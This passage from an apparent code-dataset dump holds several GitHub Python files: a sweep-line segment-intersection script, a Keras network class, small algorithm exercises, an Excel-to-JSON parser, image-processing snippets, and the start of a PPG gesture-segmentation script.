lines\n\n\t# plot horizontal sweep line\n\txlim = ax1.get_xlim()\n\tax1.plot(list(xlim), [p.y, p.y], color=\"red\")\n\tfigure = plt.gcf()\n\tfigure.set_size_inches(10, 8)\n\n\tplt.savefig(\"frames/anim_{0}.png\".format(f),bbox_inches='tight', dpi=100)\n\tf +=1\n\ndef findEvent(s_left, s_right, p):\n\tglobal etree\n\tglobal R\n\tsl_line = Line.points2Line(s_left.start, s_left.end)\n\tsr_line = Line.points2Line(s_right.start, s_right.end)\n\t#print(sl_line)\n\t#print(sr_line)\n\thit = sl_line.intersects(sr_line)\n\n\t# case: sr and sl are same segment, they never intersect\n\tif not hit: return\n\tif s_left.isInSegment(hit) == -1: return\n\tif s_right.isInSegment(hit) == -1: return\n\n\tisThere = etree.find(hit)\n\tif hit.y < p.y and isThere == None:\n\t\te = Event(hit)\n\t\tetree.insert(e)\n\t\t#print(\"added event:\", e)\n\telif hit.y == p.y and hit.x < p.x and isThere == None:\n\t\te = Event(hit)\n\t\tetree.insert(e)\n\t\t#print(\"added event:\", e)\n\tif animated and not single_plot:\n\t\tpaint(p)\n\t\tpaint(p)\n\ndef processEvent(p):\n\tglobal tot_seg\n\tglobal tLine\n\tglobal R\n\tglobal R_segs\n\n\tp = p.value.point\n\tif animated and not single_plot:\n\t\tpaint(p)\n\t\tpaint(p)\n\tU = [s for s in tot_seg if s.start == p]\n\t# tree finding\n\tif fast:\n\t\tU2, C, L = tLine.findByPoint(p)\n\t# brute force finding\n\tif not fast:\n\t\tin_array = tLine.inorder(tLine.root)\n\t\t#print(\"T line:\", in_array)\n\t\tL = [s for s in in_array if s.end == p]\n\t\tC = []\n\t\tfor s in in_array:\n\t\t\tif s.isInSegment(p) == 2:\n\t\t\t\tC.append(s)\n\n\tU = U\n\t#print(\"U:{u}\\nC:{c}\\nL:{l}\".format(u=U, c=C, l=L))\n\t# lists to sets\n\tU = set(U)\n\tC = set(C)\n\tL = set(L)\n\tUCL = (U.union(C)).union(L)\n\tUC = U.union(C)\n\t#print(\"UCL: {0}\".format(UCL))\n\tif len(UCL) > 1:\n\t\tR.append(p)\n\t\tR_segs.append([s.index for s in UCL])\n\t\t# print output on the go\n\t\tif live_output:\n\t\t\tucl = list(UCL)\n\t\t\tsegs_involved = \"\"\n\t\t\tfor j in range(len(ucl)):\n\t\t\t\tsegs_involved += str(ucl[j].name) + \" \"\n\t\t\tprint((\"Intersection at: ({x},{y}) -> \" + segs_involved).format(x=p.x, y=p.y))\n\n\tfor s in (L.union(C)):\n\t\ttLine.deleteValue(s, p)\n\tfor s in (UC):\n\t\ttLine.insert(s, p)\n\tif len(UC) == 0:\n\n\t\ts_l = tLine.getLeftFromP(p, tLine.root)\n\t\ts_r = tLine.getRightFromP(p, tLine.root)\n\t\t#print(\"########### new step neighbours:\", s_l.value, s_r.value)\n\t\tif s_l != None and s_r != None:\n\t\t\tfindEvent(s_l.value, s_r.value, p)\n\telse:\n\t\tuc = list(UC)\n\t\thits = []\n\t\t# UC in T: list of hits with segment index\n\t\tfor s in uc:\n\t\t\tt2 = Point(p.x + 1, p.y)\n\t\t\ttempLine = Line.points2Line(p, t2)\n\t\t\thit = tempLine.intersects(Line.points2Line(s.start, s.end))\n\t\t\tif not hit: continue\n\t\t\thits.append([hit, s.index])\n\n\t\t# UC in T (ordered horizontally)\n\t\thits = sorted(hits, key=lambda p: p[0].x, reverse=False)\n\n\t\tif len(hits) < 1:\n\t\t\treturn\n\t\telse:\n\t\t\ts_prime = tot_seg[hits[0][1]]\n\t\t\t# left neighbour is the inorder predecessor\n\t\t\ts_left = tLine.getPredecessor(tLine.root, s_prime, p)\n\t\t\tif s_left != None:\n\t\t\t\t#print(\"left neighbour:\", s_left.value)\n\t\t\t\tfindEvent(s_left.value, s_prime, p)\n\t\t\ts_bprime = tot_seg[hits[len(hits) - 1][1]]\n\t\t\t# right neighbour is the inorder successor\n\t\t\ts_right = tLine.getSuccessor(tLine.root, s_bprime, p)\n\t\t\tif s_right != None:\n\t\t\t\t#print(\"right neighbour:\", s_right.value)\n\t\t\t\tfindEvent(s_bprime, s_right.value, p)\n\nif __name__ == \"__main__\":\n\n\tfile1 = open(INPUT_FILE, 'r')\n\tflines = file1.readlines()\n\tN = 0\n\toffset = 1\n\tfast = True\n\n\t# support files with starting line with N or not\n\ttry:\n\t\tN = int(flines[0])\n\t\toffset = 1\n\texcept:\n\t\tN = len(flines)\n\t\toffset = 0\n\n\tR = []\n\tR_segs = []\n\n\ttot_seg = [] # total segments\n\ttot_pts = []\n\tev = []\n\tf = 0\n\titeration = 0\n\tisHorizontal = True\n\tyVal = 0\n\n\tfor line in flines[offset:]:\n\t\tpts = line.split(' ')\n\n\t\tsegmentName = iteration\n\t\t# if file contains segment name (store it) or not (segment id is num of iteration) at the end of line\n\t\tif \"s\" in pts[len(pts) - 1]:\n\t\t\tsegmentName = pts[len(pts) - 1].rstrip(\"\\n\")\n\t\telse:\n\t\t\tsegmentName = \"s\" + str(iteration)\n\n\n\t\tseg = []\n\t\tfor i in range(0, len(pts) - 1, 2):\n\t\t\tx = float(pts[i]) if '.' in pts[i] else int(pts[i])\n\t\t\ty = float(pts[i + 1]) if '.' in pts[i + 1] else int(pts[i + 1])\n\t\t\tpt = Point(x, y)\n\t\t\ttot_pts.append(pt)\n\t\t\tseg.append(pt)\n\t\tfor i in range(len(seg)):\n\t\t\tif i == 0: yVal = seg[i].y\n\t\t\tif seg[i].y != yVal:\n\t\t\t\tisHorizontal = False\n\t\tif not isHorizontal:\n\t\t\tseg_sorted = sorted(seg, key=lambda p: p.y, reverse=True)\n\t\telse:\n\t\t\tseg_sorted = sorted(seg, key=lambda p: p.x, reverse=False)\n\t\tfor i in range(len(seg_sorted)):\n\t\t\te = Event(seg_sorted[i], iteration, i)\n\t\t\tev.append(e)\n\t\ts = Segment(seg_sorted[0], seg_sorted[1], iteration, segmentName)\n\t\ttot_seg.append(s)\n\t\titeration += 1\n\n\t# Uncomment to print input\n\t'''\n\tprint(\"------------------\")\n\tprint(\"Events: {0}\".format(len(ev)))\n\t[print(e) for e in ev]\n\tprint(\"Segments: {0}\".format(len(tot_seg)))\n\t[print(s) for s in tot_seg]\n\tprint(\"------------------\")\n\t'''\n\n\n\t# init event queue inserting all extremes of segments\n\tetree = Q()\n\t[etree.insert(e) for e in ev]\n\tin_array = Q.inorder(etree.root)\n\t#print(\"root:\", etree.root.value)\n\tfirst = etree.getFirst(etree.root)\n\t#print(\"first:\", first.value)\n\t#print(in_array)\n\n\t# init sweep line as empty\n\ttLine = T()\n\n\tif animated and not single_plot:\n\t\tfirst_p = etree.getFirst(etree.root).value.point\n\t\tpaint(Point(first_p.x, first_p.y))\n\t\tpaint(Point(first_p.x, first_p.y))\n\n\twhile not etree.isEmpty():\n\t\t# when you 'pull' from the Q tree (queue of events), get the first of inorder traversal\n\t\tp = etree.getFirst(etree.root)\n\t\t#print(\"**pull:\", p.value, \"root:\", etree.root.value)\n\t\tetree.deleteNode(p)\n\t\tprocessEvent(p)\n\n\t# Uncomment line if you dont want intersections that are part of segment exact start/end points\n\t#R = [p for p in R if not (p in tot_pts)]\n\t# print output at the end instead of on the go\n\tif not live_output:\n\t\tfor i in range(len(R)):\n\t\t\tsegs_involved = \"\"\n\t\t\tfor j in range(len(R_segs[i])):\n\t\t\t\tsegs_involved += \"s\" + str(R_segs[i][j]) + \" \"\n\t\t\tprint((\"Intersection at: ({x},{y}) -> \" + segs_involved).format(x=R[i].x, y=R[i].y))\n\n\t# plotting if single_plot is True\n\tif not animated and single_plot:\n\t\tplt_segs = []\n\n\t\tfor i in range(len(tot_seg)):\n\t\t\tbegin = tuple([tot_seg[i].start.x, tot_seg[i].start.y])\n\t\t\tend = tuple([tot_seg[i].end.x, tot_seg[i].end.y])\n\t\t\tplt_segs.append([begin, end])\n\n\t\tx = [e.point.x for e in ev]\n\t\ty = [e.point.y for e in ev]\n\t\txr = [p.x for p in R]\n\t\tyr = [p.y for p in R]\n\n\n\t\tfig = plt.figure()\n\t\tfig.add_subplot()\n\t\tax1 = plt.gca()\n\n\n\t\tax1.scatter(x,y, s=100, marker=\"o\")\n\t\tax1.scatter(xr,yr, s=100, marker=\"P\", color=\"red\", zorder=10)\n\t\tax1.add_collection(mc.LineCollection(plt_segs, linewidths=2))\n\n\t\tfor i in range(len(tot_seg)):\n\t\t\tmid = Point.midPoint(tot_seg[i].start, tot_seg[i].end)\n\t\t\tcoord = tuple([mid.x, mid.y])\n\t\t\tcoordt = tuple([mid.x + 2, mid.y])\n\t\t\tax1.annotate(\"{n}\".format(n=tot_seg[i].name), xy=coord, xytext=coordt, size=10, arrowprops = dict(facecolor ='black',width=1,headwidth=4))\n\n\t\tplt.show()\n\n","repo_name":"the-other-mariana/computational-geometry","sub_path":"segment-intersection/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8176,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"5146003756","text":"# from tensorflow.keras.callbacks import ModelCheckpoint\nimport logging\nimport os\nfrom datetime import datetime\nfrom typing import Union, Any, List, Tuple, Optional\n\nimport numpy\nfrom numpy import ndarray\nfrom tensorflow.keras.callbacks import EarlyStopping\n\nfrom .layer import DropoutLayer, DenseLayer\nfrom .optimizers import Optimizers\nfrom ..config.dicebox_config import DiceboxConfig\nfrom ..connectors.filesystem_connector import FileSystemConnector\nfrom ..connectors.sensory_service_connector import SensoryServiceConnector\nfrom .network import Network\n\n\nclass DiceboxNetwork(Network):\n    __accuracy: float\n\n    # Sensory input (unique) per network - individual memory\n    __fsc: FileSystemConnector  # file system connector\n    __ssc: SensoryServiceConnector  # sensory service connector\n\n    # Helper: Early stopping.\n    __early_stopper = EarlyStopping(patience=25)\n\n    ##############################################################################\n    # Feature disabled until a flipper can be added and the filenames created safely.\n    # Since this now runs in a container some additional considerations must be made.\n    ##############################################################################\n    # Checkpoint\n    # filepath = \"%s/weights-improvement-{epoch:02d}-{val_acc:.2f}.hdf5\" % __config.WEIGHTS_DIR\n    # checkpoint = ModelCheckpoint(filepath, monitor='val_acc', verbose=1, save_best_only=True, mode='max')\n    # __callbacks_list = [__early_stopper, checkpoint]\n\n    __callbacks_list = [__early_stopper]\n\n    def __init__(\n        self,\n        config: DiceboxConfig,\n        optimizer: Optimizers,\n        layers: List[Union[DropoutLayer, DenseLayer]] = None,\n        create_fsc: bool = True,\n        disable_data_indexing: bool = False,\n    ):\n\n        super().__init__(config=config, optimizer=optimizer, layers=layers)\n\n        self.__accuracy: float = 0.0\n\n        if create_fsc is True:\n            logging.debug(\"creating a new fsc..\")\n            logging.info(\"self.config.DATA_DIRECTORY: (%s)\" % self.config.DATA_DIRECTORY)\n            self.__fsc = FileSystemConnector(\n                config=config, data_directory=self.config.DATA_DIRECTORY, disable_data_indexing=disable_data_indexing\n            )\n        else:\n            logging.debug(\"creating a new ssc..\")\n            self.__ssc = SensoryServiceConnector(role=\"client\", config=self.config)\n\n    ## Training\n\n    def train(self, update_accuracy=False) -> float:\n        if self.config.DICEBOX_COMPLIANT_DATASET is True:\n            x_train, x_test, y_train, y_test = self.get_dicebox_filesystem()\n        else:\n            raise Exception(\"Unknown dataset type!  Please define, or correct.\")\n\n        self.compile()\n\n        self.model.fit(\n            x_train,\n            y_train,\n            batch_size=self.config.BATCH_SIZE,\n            epochs=self.config.EPOCHS,  # using early stopping, so this limit acts like a max\n            verbose=1,\n            validation_data=(x_test, y_test),\n            callbacks=[self.__early_stopper],\n        )\n\n        score = self.model.evaluate(x_test, y_test, verbose=0)\n\n        if update_accuracy is True:\n            self.__accuracy = score\n\n        return score[1]  # 1 is accuracy. 0 is loss.\n\n    def get_accuracy(self) -> float:\n        return self.__accuracy\n\n    ## Prediction\n\n    def classify(self, network_input: Any) -> ndarray:\n        if self.config.DICEBOX_COMPLIANT_DATASET is True:\n            x_test: ndarray = self.__get_dicebox_raw(network_input)\n        else:\n            logging.error(\"UNKNOWN DATASET (%s) passed to classify\" % self.config.NETWORK_NAME)\n            raise Exception(\"UNKNOWN DATASET (%s) passed to classify\" % self.config.NETWORK_NAME)\n\n        if self.model is None:\n            logging.error(\"No model! Compile the network first.\")\n            raise Exception(\"No model! Compile the network first.\")\n\n        model_prediction: ndarray = self.model.predict_classes(x_test, batch_size=1, verbose=0)\n        logging.info(model_prediction)\n\n        return model_prediction\n\n    ## Phenometype\n    ## Weights Storage Functions\n\n    def save_model_weights(self, filename: str) -> None:\n        if self.model is None:\n            logging.error(\"No model! Compile the network first.\")\n            raise Exception(\"No model! Compile the network first.\")\n\n        logging.debug(\"loading weights file..\")\n        try:\n            self.model.save_weights(str(filename))  # https://github.com/keras-team/keras/issues/11269\n        except Exception as e:\n            logging.error(\"Unable to save weights file.\")\n            logging.error(e)\n            raise e\n\n    def load_model_weights(self, filename: str) -> None:\n        if self.model is None:\n            logging.error(\"No model! Compile the network first.\")\n            raise Exception(\"No model! Compile the network first.\")\n\n        logging.debug(\"loading weights file..\")\n        try:\n            self.model.load_weights(str(filename))  # https://github.com/keras-team/keras/issues/11269\n        except Exception as e:\n            logging.error(\"Unable to load weights file.\")\n            logging.error(e)\n            raise e\n\n    ## Data Centric Functions\n\n    def __get_dicebox_raw(self, raw_image_data: Any) -> ndarray:\n        # TODO: variable reuse needs to be cleaned up..\n\n        # ugh dump to file for the time being\n        filename = \"%s/%s\" % (self.config.TMP_DIR, datetime.now().strftime(\"%Y-%m-%d_%H_%M_%S_%f.tmp.png\"))\n        with open(filename, \"wb\") as f:\n            f.write(raw_image_data)\n\n        try:\n            test_image_data = self.__fsc.process_image(filename)\n        except:\n            logging.error(\"Exception caught processing image data.\")\n            raise Exception(\"Exception caught processing image data.\")\n        finally:\n            os.remove(filename)\n\n        test_image_data = numpy.array(test_image_data)\n        test_image_data = test_image_data.astype(\"float32\")\n        test_image_data /= 255\n\n        x_test = [test_image_data]\n        x_test = numpy.array(x_test)\n\n        return x_test\n\n    # def get_dicebox_filesystem(self) -> [ndarray, ndarray, ndarray, ndarray]:\n    def get_dicebox_filesystem(self):\n        noise = self.config.NOISE\n        test_batch_size = self.config.TEST_BATCH_SIZE\n        train_batch_size = self.config.TRAIN_BATCH_SIZE\n\n        logging.debug(\"noise: %s\" % noise)\n        logging.debug(\"train_batch_size: %s\" % train_batch_size)\n        logging.debug(\"test_batch_size: %s\" % test_batch_size)\n\n        train_image_data, train_image_labels = self.__fsc.get_batch(train_batch_size, noise=noise)\n        test_image_data, test_image_labels = self.__fsc.get_batch(test_batch_size, noise=noise)\n\n        x_train = train_image_data\n        x_test = test_image_data\n        y_train = train_image_labels\n        y_test = test_image_labels\n\n        return x_train, x_test, y_train, y_test\n\n    def get_dicebox_sensory_data(self) -> [ndarray, ndarray, ndarray, ndarray]:\n        logging.debug(\"-\" * 80)\n        logging.debug(\"get_dicebox_sensory_data(self)\")\n        logging.debug(\"-\" * 80)\n\n        noise = self.config.NOISE\n        train_batch_size = self.config.TRAIN_BATCH_SIZE\n        test_batch_size = self.config.TEST_BATCH_SIZE\n\n        try:\n            # train_image_data, train_image_labels = Network.__fsc.get_batch(train_batch_size, noise=noise)\n            train_image_data, train_image_labels = self.__ssc.get_batch(train_batch_size, noise=noise)\n\n            logging.debug(\"-\" * 80)\n            logging.debug(\"train_image_data to numpy.array\")\n            # logging.debug(train_image_data)\n\n            train_image_data = numpy.array(train_image_data)\n            # logging.debug(train_image_data)\n\n            logging.debug(\"train_image_data astype float32\")\n            train_image_data = train_image_data.astype(\"float32\")\n            # logging.debug(train_image_data)\n\n            logging.debug(\"train_image_data /255\")\n            train_image_data /= 255\n            # logging.debug(train_image_data)\n\n            logging.debug(\"train_image_labels to numpy.array\")\n            train_image_labels = numpy.array(train_image_labels)\n            # logging.debug(train_image_labels)\n            logging.debug(\"-\" * 80)\n        except ValueError:\n            logging.debug(\"Caught ValueError when processing training data.\")\n            logging.debug(\"failing out..\")\n            raise ValueError\n\n        try:\n            # test_image_data, test_image_labels = Network.__fsc.get_batch(test_batch_size, noise=noise)\n            test_image_data, test_image_labels = self.__ssc.get_batch(test_batch_size, noise=noise)\n\n            logging.debug(\"-\" * 80)\n            logging.debug(\"test_image_data to numpy.array\")\n            # logging.debug(test_image_data)\n\n            test_image_data = numpy.array(test_image_data)\n            # logging.debug(test_image_data)\n\n            logging.debug(\"test_image_data astype float32\")\n            test_image_data = test_image_data.astype(\"float32\")\n            # logging.debug(test_image_data)\n\n            logging.debug(\"test_image_data /255\")\n            test_image_data /= 255\n            # logging.debug(test_image_data)\n\n            logging.debug(\"test_image_labels to numpy.array\")\n            test_image_labels = numpy.array(test_image_labels)\n            # logging.debug(test_image_labels)\n        except ValueError:\n            logging.debug(\"Caught ValueError when processing test data.\")\n            logging.debug(\"failing out..\")\n            raise ValueError\n\n        x_train: ndarray = train_image_data\n        x_test: ndarray = test_image_data\n        y_train: ndarray = train_image_labels\n        y_test: ndarray = test_image_labels\n        return x_train, x_test, y_train, y_test\n","repo_name":"shapeandshare/dicebox.core","sub_path":"src/shapeandshare/dicebox/models/dicebox_network.py","file_name":"dicebox_network.py","file_ext":"py","file_size_in_byte":9745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71236890750","text":"def comb(no, hap):\n    global sol1\n    if sol1 < hap:\n        return\n\n    if no >= N:\n        if sol1 > hap:\n            sol1 = hap\n        return\n    for i in range(N):\n        comb(no+1, hap+arr[no][i])\n\ndef recomb(no, start, hap):\n    global sol2, rec\n    if sol2 < hap:\n        return\n\n    if no >= N:\n        # for i in range(N):\n        #     print(rec[i], end=\" \")\n        # print()\n        if sol2 > hap:\n            sol2 = hap\n        return\n    for i in range(N):\n        if rec[i]:\n            continue\n        rec[i] = arr[no][i]\n        recomb(no + 1, i+1, hap + arr[no][i])\n        rec[i] = 0\n\nN = int(input())\narr = [list(map(int, input().split())) for _ in range(N)]\nsol1 = 10000000000\nsol2 = 10000000000\nrec = [0]*N\ncomb(0, 0)\nrecomb(0, 0, 0)\nprint(sol1)\nprint(sol2)","repo_name":"hoyoung2176/TIL","sub_path":"Algorithm/test/AD/최소 합.py","file_name":"최소 합.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73913953791","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom collections import defaultdict\nimport json\nimport xlrd\n\n\ndef type_skeleton():\n    \"\"\"Structure for storing type information.\"\"\"\n    return {\"base_type\": None,\n            \"values\": {\"names\": [], \"codes\": []}}\n\n\ndef empty_row(row):\n    return not any(bool(cell) for cell in row)\n\n\ndef main(profile_fp):\n\n    workbook = xlrd.open_workbook(profile_fp)\n    types_sheet = workbook.sheet_by_name(\"Types\")\n\n    # Future proofing\n    # ---------------\n    # Some of the code below assumes the header\n    # to be of the form...\n    expected_header = [\"type_name\", \"base_type\",\n                       \"value_name\", \"value\", \"comment\"]\n    # So check against...\n    actual_header = [cell.strip().replace(\" \", \"_\").lower()\n                     for cell in types_sheet.row_values(0)]\n\n    assert all(expected in actual_header for expected in expected_header)\n\n    types = defaultdict(type_skeleton)\n\n    # i is our row counter; ignore the first (header) row.\n    i, nrow = 1, types_sheet.nrows\n\n    while i < nrow:\n        # NB: there are various empty rows (sometimes more than one)\n        # scattered throughout the Profile.xlsx file for sh*ts 'n' gigs.\n        row = types_sheet.row_values(i)\n\n        if empty_row(row):\n            i += 1\n            continue\n\n        type_name = row[0]\n        types[type_name][\"base_type\"] = row[1]\n\n        # Because who doesn't love some feedback?\n        print(\"Gathering type information for '%s'\" % type_name)\n\n        i += 1\n        row = types_sheet.row_values(i)\n\n        while not row[0]:  # Is the first column still empty?\n\n            if empty_row(row):\n                i += 1\n                break\n\n            types[type_name][\"values\"][\"names\"].append(row[2])\n\n            # Some type codes are hexadecimals.\n            try:\n                code = int(row[3])\n            except ValueError:\n                code = int(row[3], 16)\n\n            types[type_name][\"values\"][\"codes\"].append(code)\n\n            i += 1\n            if i == nrow:\n                break\n            else:\n                row = types_sheet.row_values(i)\n\n    return types\n\n\nif __name__ == \"__main__\":\n    to_dump = main(\"./Profile.xlsx\")\n    with open(\"./Types.json\", \"w\") as handle:\n        json.dump(to_dump, handle)\n","repo_name":"jmackie/fitdc","sub_path":"scripts/Types_sheet.py","file_name":"Types_sheet.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"13100411927","text":"\"\"\"\nGiven two binary trees and imagine that when you put one of them to cover the other, some nodes of the two trees are overlapped while the others are not.\n\nYou need to merge them into a new binary tree. The merge rule is that if two nodes overlap, then sum node values up as the new value of the merged node. Otherwise, the NOT null node will be used as the node of new tree.\n\nExample 1:\nInput: \n\tTree 1                     Tree 2                  \n          1                         2                             \n         / \\                       / \\                            \n        3   2                     1   3                        \n       /                           \\   \\                      \n      5                             4   7                  \nOutput: \nMerged tree:\n\t     3\n\t    / \\\n\t   4   5\n\t  / \\   \\ \n\t 5   4   7\nNote: The merging process must start from the root nodes of both trees\n\"\"\"\n\n\"\"\"\nIf both trees are empty then we return empty.\nOtherwise, we will return a tree. The root value will be t1.val + t2.val, except these values are 0 if the tree is empty.\nThe left child will be the merge of t1.left and t2.left, except these trees are empty if the parent is empty.\nThe right child is similar.\n\"\"\"\n# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution(object):\n    def mergeTrees(self, t1, t2):\n        \"\"\"\n        :type t1: TreeNode\n        :type t2: TreeNode\n        :rtype: TreeNode\n        \"\"\"\n        if t1 and t2:\n            root = TreeNode(t1.val + t2.val)\n            root.left = self.mergeTrees(t1.left, t2.left)\n            root.right = self.mergeTrees(t1.right, t2.right)\n            return root\n        elif t1:\n            return t1\n        else:\n            return t2\n","repo_name":"fanyinze/Leetcode-Sandbox","sub_path":"python/617_Merge_Two_Binary_Trees.py","file_name":"617_Merge_Two_Binary_Trees.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74569259389","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\n#converting from one format to another format \nfrom PIL import Image\nimg = Image.open('website.jpg')\nimg.save('website.jfif')\n\n\n# In[8]:\n\n\n#finding mode of an image\nim=Image.open(\"img2.jfif\")\nprint(im.mode)\n\n\n# In[14]:\n\n\n#image slicing\nfrom PIL import Image\nimport numpy as np\n\nim = np.array(Image.open('website.jpg').resize((256, 256)))\nprint(im.shape)\n\nim_0 = im[:, :100]\nprint(im_0.shape)\nImage.fromarray(im_0).save('slicing.jpg')\n\n\n# In[66]:\n\n\n# image slicing\n#method2\nfrom skimage.io import imshow,imread\nimport matplotlib.pyplot as plt\nimg1=imread('website.jpg')\nimshow(img1)\n\nfig,ax=plt.subplots(1,3,figsize=(6,4), sharey=True)\nax[0].imshow(img1[:, 0:150])\nax[0].set_title('First slice')\n\nax[1].imshow(img1[:, 150:300])\nax[1].set_title('second slice')\n\nax[2].imshow(img1[:, 300:500])\nax[2].set_title('Third slice');\n\n\n# In[15]:\n\n\n#blending of images\nfrom PIL import Image\nimg1=Image.open('cat.jfif')\nimg2=Image.open('tiger.jfif')\n\nalphaBlended=Image.blend(img1,img2,alpha=.4)\nalphaBlended.show()\n\n\n# In[2]:\n\n\n#cropping of an image\nimport cv2\nimg = cv2.imread(\"tiger.jfif\")\ny=0\nx=0\nh=200\nw=380\ncrop_img = img[x:w, y:h]\ncv2.imshow(\"Cropped\", crop_img)\ncv2.waitKey(0)\n\n\n# In[4]:\n\n\n#cropping of an image\n#method2\nfrom PIL import Image\nim=Image.open('cat.jfif')\nw,h=im.size\nleft=5\ntop=h/4\nright=164\nbottom=3*h/4\n\nim1=im.crop((left,top,right,bottom))\nim1.show()\n\n\n# In[4]:\n\n\n#negating of an image\nimport cv2\nimport numpy as np\n\nimg=cv2.imread('tiger.jfif')\nprint(img.dtype)\nimg_neg=255-img\n\ncv2.imshow('negative',img_neg)\ncv2.waitKey(0)\n\n\n# In[2]:\n\n\n#negating of an image\n#method2\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimg=Image.open('cat.jfif')\n\nw,h=img.size\nfor i in range(w):\n    for j in range(h):\n        r,g,b=img.getpixel((i,j))\n        r=255-r\n        g=255-g\n        b=255-b\n        img.putpixel((i,j),(r,g,b))       \nplt.axis('off')\nplt.imshow(img)\n\n\n# In[32]:\n\n\n# drawing on an image\nimport numpy as np\nimport cv2\n\nimg =cv2.imread('cat.jfif')\n\ncv2.line(img, (20, 160), (100, 160), (0, 0, 255), 10)\ncv2.rectangle(img,(50,25), (200,300),(0,255,255),5)\ncv2.circle(img, (20,50), 65, (255,0,0), -1)\ncv2.imshow('dark', img)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n# In[58]:\n\n\n# draw text on an image\nfrom PIL import Image,ImageDraw,ImageFont\n\nimg = Image.open('moon.jpg')\nI1 = ImageDraw.Draw(img)\n\nfnt=ImageFont.truetype('arial.ttf', 50)\nI1.text((28, 36), \"Image processing\", font=fnt, fill=(255, 0, 0))\n\nimg.show()\nimg.save(\"moon1.png\")\n\n\n# In[23]:\n\n\n#finding basic statistics of an image - mean\nfrom PIL import Image, ImageStat\n\nim = Image.open('moon.jpg')\nstat = ImageStat.Stat(im)\nprint(stat.mean)\n\n\n# In[31]:\n\n\n#finding basic statistics of an image - median\nfrom PIL import Image, ImageStat\n\nim = Image.open('website.jpg')\nstat = ImageStat.Stat(im)\nprint(stat.median)\n\n\n# In[28]:\n\n\n#finding basic statistics of an image - standard deviation\nfrom PIL import Image, ImageStat\n\nim = Image.open('moon.jpg')\nstat = ImageStat.Stat(im)\nprint(stat.stddev)\n\n\n# In[42]:\n\n\n#histogram of an image\nimport cv2\nimport matplotlib.pyplot as plt\nimg=cv2.imread('cat.jfif')\n\nred_hist=cv2.calcHist([img],[0],None,[256],[0,255])\ngreen_hist=cv2.calcHist([img],[1],None,[256],[0,255])\nblue_hist=cv2.calcHist([img],[2],None,[256],[0,255])\n\nplt.hist(img.ravel(),256,[0,256])\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"EkathaSolalkar/Image-Processing","sub_path":"image operations (1).py","file_name":"image operations (1).py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28173017148","text":"# -*- coding=utf-8 -*-\nimport os\nimport filecontrol \n# import featurecontrol\nfrom normal_tool import *\nimport IAtool \nimport MAfind\n\n\n\n# python提取单个行为中手势段的数据\ndef single_data(filepath):\n\tppgx,ppgy,accx,accy,accz,gyrx,gyry,gyrz,ppgtime,acctime,gyrtime=filecontrol.orisegmentread(filepath)\n\t\n\t# indexpicshow(ppgx)\n\n\torippgx=meanfilt(ppgx,20)\n\torippgy=meanfilt(ppgy,20)\n\n\t# oriaccx=meanfilt(accx,20)\n\t# oriaccy=meanfilt(accy,20)\n\t# oriaccz=meanfilt(accz,20)\n\n\t# origyrx=meanfilt(gyrx,20)\n\t# origyry=meanfilt(gyry,20)\n\t# origyrz=meanfilt(gyrz,20)\n\n\t#滤波滤除低频的信号\n\tbutterppgx=highpass(2,200,orippgx)\n\tbutterppgy=highpass(2,200,orippgy)\n\n\t#将手势数据和心跳数据分割开\n\ticappgx,icappgy=IAtool.ppgfica(butterppgx,butterppgy)\n\n\t#判断是否存在手势和提取出手势段\n\t# tag,pointstartindex,pointendindex=MAfind.fine_grained_segment(icappgx,200,0.03)#python 的ica是0.03,android的是1\n\n\t# tag,pointstartindex,pointendindex=MAfind.fine_grained_segment_2(icappgx,200,0.03)#python 的ica是0.03,android的是1\n\ttag,pointstartindex,pointendindex=MAfind.fine_grained_segment_4(icappgx,200,0.03)#python 的ica是0.03,android的是1\n\n\t#是否有手势，手势开始点，手势结束点，手势长度\n\tprint(tag,pointstartindex,pointendindex,pointendindex-pointstartindex)\n\tif tag==1:\n\t\t# 将100hz的行为传感器数据拓展为200hz\n\t\taccx=IAtool.sequence_incre(accx)\n\t\taccy=IAtool.sequence_incre(accy)\n\t\taccz=IAtool.sequence_incre(accz)\n\n\t\tgyrx=IAtool.sequence_incre(gyrx)\n\t\tgyry=IAtool.sequence_incre(gyry)\n\t\tgyrz=IAtool.sequence_incre(gyrz)\n\n\t\t# accx=meanfilt(accx,20)\n\t\t# accy=meanfilt(accy,20)\n\t\t# accz=meanfilt(accz,20)\n\n\t\t# gyrx=meanfilt(gyrx,20)\n\t\t# gyry=meanfilt(gyry,20)\n\t\t# gyrz=meanfilt(gyrz,20)\n\n\t\t#数据标准化\n\t\taccx=standardscale(accx)\n\t\taccy=standardscale(accy)\n\t\taccz=standardscale(accz)\n\n\t\tgyrx=standardscale(gyrx)\n\t\tgyry=standardscale(gyry)\n\t\tgyrz=standardscale(gyrz)\n\n\t\tppgx=standardscale(ppgx)\n\t\tppgy=standardscale(ppgy)\n\n\t\tif 